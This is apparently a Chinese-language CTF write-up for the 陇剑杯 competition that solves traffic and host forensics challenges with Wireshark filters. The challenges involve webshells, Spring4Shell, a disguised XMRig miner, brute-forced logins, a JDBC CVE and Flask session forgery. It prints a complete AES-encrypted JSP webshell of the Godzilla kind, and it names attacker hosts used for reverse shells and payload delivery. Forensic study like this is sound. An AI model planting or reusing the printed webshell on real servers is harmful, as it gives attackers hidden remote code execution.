前言
之前还在学校的时候打陇剑杯,因为队里的Misc方向几乎都是@Nerisa
大哥在做,所以在学校里蓝帽杯和陇剑杯经常被我们叫做Nerisa杯。今年我是在某银行参加的,其实流量分析也还是比较实用的技能。
hard_web
1.服务器开放了哪些端口
|
|
也就是80,888,8888
2.服务器中根目录下的flag值是多少?
冰蝎流量,首先跳到第三题,找到哥斯拉连接的马,AES的key是748007e861908c03
。赛后参考了冰蝎和哥斯拉流量分析这篇文章,把其中一段/shell.jsp
流量的response
用CyberChief试了一下:
|
|
然后就有flag了:
3.该webshell的连接密码是多少?
先看http协议且请求方法为POST的报文:http.request.method=="POST"
可以找到请求的路径为shell.jsp
:
再回溯shell.jsp
的流量,http contains "shell.jsp"
:
刚好这个test.jsp
去读取了shell.jsp
:
<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
是冰蝎或者哥斯拉的马,在cmd5
反查748007e861908c03
就是密码:14mk3y
sevrer save
1. 黑客是使用什么漏洞来拿下root权限的
http.request.method=="POST"
过滤,为数不多的POST流量里面有一段spring4shell:
CVE编号对应CVE-2022-22965
2. 黑客反弹shell的ip和端口是什么
tcp contains "/bin"
过滤一下:
3. 黑客的病毒名称是什么
do文件夹中按创建日期排序,最晚的是/home/guests/main
非常可疑:
4. 黑客的病毒运行后创建了什么用户
这个ll用户的suid为0,相当于有root的权限,密码直接就是明文的123456,非常可疑,肯定是黑客创建的。
5. 服务器在被入侵时外网ip是多少
cat home/guests.log.txt
:
6. 病毒运行后释放了什么文件
这几个应该都是挖矿用的,试了下是lolMiner,minedoge.sh
7. 矿池地址是什么
cat .idea/mine_doge.sh
:
矿池地址为POOL,钱包地址为WALLET
Wireshark1
首先分析了一下都是TCP流量,没有HTTP
1. 被入侵主机的IP是
流量里面有比较多的Telnet流量,目的地址是192.168.246.28
2. 被入侵主机的口令是
youcannevergetthis
3. 用户目录下第二个文件夹的名称是
Downloads
4. /etc/passwd
中倒数第二个用户的用户名是
mysql
IncidentResponse
是一个虚拟机取证题,给了一个虚拟机,打开后通过root/IncidentResponsePasswd
连接,我做这道题的顺序不是从第一题开始做的,首先上去看了一下ps -ef
,主要发现了nginx、java、redis、mysql
,本来没有觉得有什么可疑的,看了下nginx的日志,/var/log/nginx
下的文件,定位到了攻击者IP还有UA。java程序执行的是/home/app
下的一个jar包,去这个目录下面看刚好有个nohup.log
分析了一下有一些shiro的报错,确定是shiro反序列化打进来的。在之后就没有思路了,于是去看了下redis的配置文件,往下翻发现一个钱包地址,于是就懂了,是伪装成redis的挖矿病毒,挖矿连接的矿池域名和挖矿程序路径也都有了。两种权限维持手段,看了下pstree发现都是systemd启动的,那么就去找redis的systemd的配置文件,而另一个是伪装的redis的配置文件
1. 挖矿程序所在路径是
/etc/redis/redis-server
2. 挖矿程序连接的矿池域名是
donate.v2.xmrig.com
3. 攻击者入侵服务器的利用的方法是
shirodeserialization
4. 攻击者的IP是
81.70.166.3
5. 攻击者发起攻击时使用的User-Agent是
这题比较抽象,UA有好几个不同的,试了都不对,还把答题次数耗尽了
6. 攻击者使用了两种权限维持手段,相应的配置文件路径是
/lib/systemd/system/redis.service
和/etc/redis/redis.conf
SmallSword
1. 连接蚁剑的正确密码是
http.request.method=="POST"
找到/sqlii/Less-7/info1.php
有一些可疑的流量:
所以密码是6ea280898e404bfabd0ebb702327b19f
2. 攻击者留存的值是
其中一个报文有一段base64,解码之后刚好是ad6269b7-3ce2-4ae8-b97f-f259515e7a91
,和题目中的格式差不多,交上去就对了:
3. 攻击者下载到的flag是
在其中一个包中攻击者下载了huorong.exe
,把response给导出来,然后删掉前面多余的部分,后面就是PE文件头了:
然后很明显是一个pyinstaller打包的exe文件,拿pyinstxtractor还原一下:
反编译pyc得到一堆十六进制数据:
然后这堆十六进制数据解开是一张图片,有一个很明显的PNG头,打开之后没啥重要的信息,通过修改高度获取flag:
ez_web
1. 服务器自带的后门文件名
还是先过滤POST,http.request.method=="POST"
:
第一个利用后门的请求是ViewMore.php
,所以自带的后门就是这个文件
2. 服务器的内网IP是多少
在下面一堆d00r.php
的请求里找到了这一段:
3. 攻击者往服务器中写入的key是什么
这个请求用file_put_content
写入了一段base64解码的东西
解码之后前两位是PK,那么肯定是压缩包,把它提取出来:
而password在前面对报文里面:
解压出来就是key
tcpdump
1. 攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码
http.request.method=="POST"
过滤POST报文,找到大量的访问/login
的请求,是对密码进行爆破:
由于想到登陆成功会有Set-Cookie
字段,所以过滤Set-Cookie
,tcp contains "Set-Cookie"
,追踪HTTP流发现一段报文返回200:
账号密码就是TMjpxFGQwD:123457
2. 攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值
由于成功之后的Cookie有accessToken
特征,所以搜accessToken
,http contains "accessToken"
找到一堆报文,追踪它,在某个接口下,userid=2
而在后面的报文里将userid改为了1,也查到了数据,所以就是越权漏洞了
这里提交的就是accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1
的md5
3. 攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码
使用tcp contains "jdbc:"
过滤jdbc关键字,获取到攻击者的服务器IP:
用ip.dst_host==116.62.63.234
过滤发往116.62.63.234
的流量,在其中找到账号密码:
4. 攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名
刚刚通过tcp contains "jdbc:"
找到的报文中有payload:
|
|
通过Google搜关键字org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg
找到CVE-2022-21724漏洞,而payload中也有文件名为custom.dtd.xml
5. 给出攻击者获取系统权限后,下载的工具的名称
http contains "/custom.dtd.xml"
过滤包含custom.dtd.xml
的报文,找到请求http://116.62.63.234:9988/custom.dtd.xml
的报文:
反弹shell,且ip为116.62.63.234,端口为9999,通过ip.dst_host==116.62.63.234
找目的地址为116.62.63.234
且端口为9999的TCP流量:
工具是fscan
hacked
1. admIn用户的密码是什么?
首先拿到的是一段flask的流量,过滤登录请求,http.request.method=="POST"
:
应该是有加密的,毕竟base64解码之后username也不是admIn,之后拿http.response.code==200
过滤响应为200的返回包,找到登陆的逻辑:
之后把刚刚的账号密码拿去CyberChef解码:
得到账号密码admIn:flag{WelC0m5_TO_H3re}
2. app.config['SECRET_KEY']值为多少?
tcp contains "KEY"
,然后在为数不多的HTTP报文中找到SECRET_KEY
:
3. flask网站由哪个用户启动?
flask流量后续是拿到了secretkey之后伪造session进行ssti,通过http contains ".eJ"
过滤session,在其中一段request
和response
中找到:这些:
大概是说执行whoami
命令,把返回结果更新到session
中的flag
字段,这个flag
的结果就是用户名red
4. 攻击者写入的内存马的路由名叫什么?
/Index
最可疑,必是内存马,往前面找找也能找到一段注入内存马的session: